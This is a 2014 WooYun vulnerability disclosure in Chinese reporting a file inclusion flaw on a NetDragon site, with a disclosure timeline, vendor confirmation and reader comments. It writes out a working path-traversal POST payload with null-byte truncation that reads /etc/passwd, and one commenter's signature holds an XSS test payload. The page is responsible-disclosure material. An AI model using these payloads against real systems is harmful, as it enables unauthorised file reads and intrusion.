当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2014-60163

漏洞标题: 91某业务站点存在文件包含漏洞

相关厂商: 福建网龙

漏洞作者: 梧桐雨认证白帽子

提交时间: 2014-05-10 21:47

公开时间: 2014-06-24 21:48

漏洞类型: 文件包含

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 文件操作参数未加过滤 文件包含漏洞 模板文件操作参数未过滤

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-10: 细节已通知厂商并且等待厂商处理中
2014-05-14: 厂商已经确认,细节仅向厂商公开
2014-05-24: 细节向核心白帽子及相关领域专家公开
2014-06-03: 细节向普通白帽子公开
2014-06-13: 细节向实习白帽子公开
2014-06-24: 细节向公众公开

简要描述:

File Include

详细说明:

存在文件包含的站点:



http://diy.91.com



对http://diy.91.com/login.php 测试,无果。



通过目录遍历得到:

diy.91.com/tools/log/





post:logtype=../../../../../../../../../../etc/passwd%00.jpg

漏洞证明:

1.jpg





2.jpg

修复方案:

logtype参数进行限制,猜测应该是

include $_POST[logtype].".php" ..php被%00截断了。。你们的php版本较低。。可以的话做下升级吧。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-14 10:16

厂商回复:

感谢 梧桐雨 提交的漏洞

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-05-11 01:32 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    这洞主怎么发现的

  2. 2014-05-11 01:33 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1643 漏洞数:189 | 学无止境)
    0

    @xsser 这么晚了还在。。

  3. 2014-05-11 13:03 | MH370 ( 路人 | 还没有发布任何漏洞 | Only Test)
    0

    It seem crash DB? http://pan.baidu.com/s/1o63AuG6

  4. 2014-05-12 09:31 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    @MH370 我去?MH370出现了!?而且还没发过漏洞的!

  5. 2014-06-03 10:40 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:183 | 力不从心)
    0

    给力哦漏洞,这也可以发现

  6. 2014-06-25 06:17 | Lonely ( 实习白帽子 | Rank:80 漏洞数:30 | 人生如梦,始终都游不过当局者迷的悲哀。)
    0

    原来 MH370 躲在 乌云。

  7. 2014-06-25 09:59 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
    0

    妹子给力呀

登录后才能发表评论,请先 登录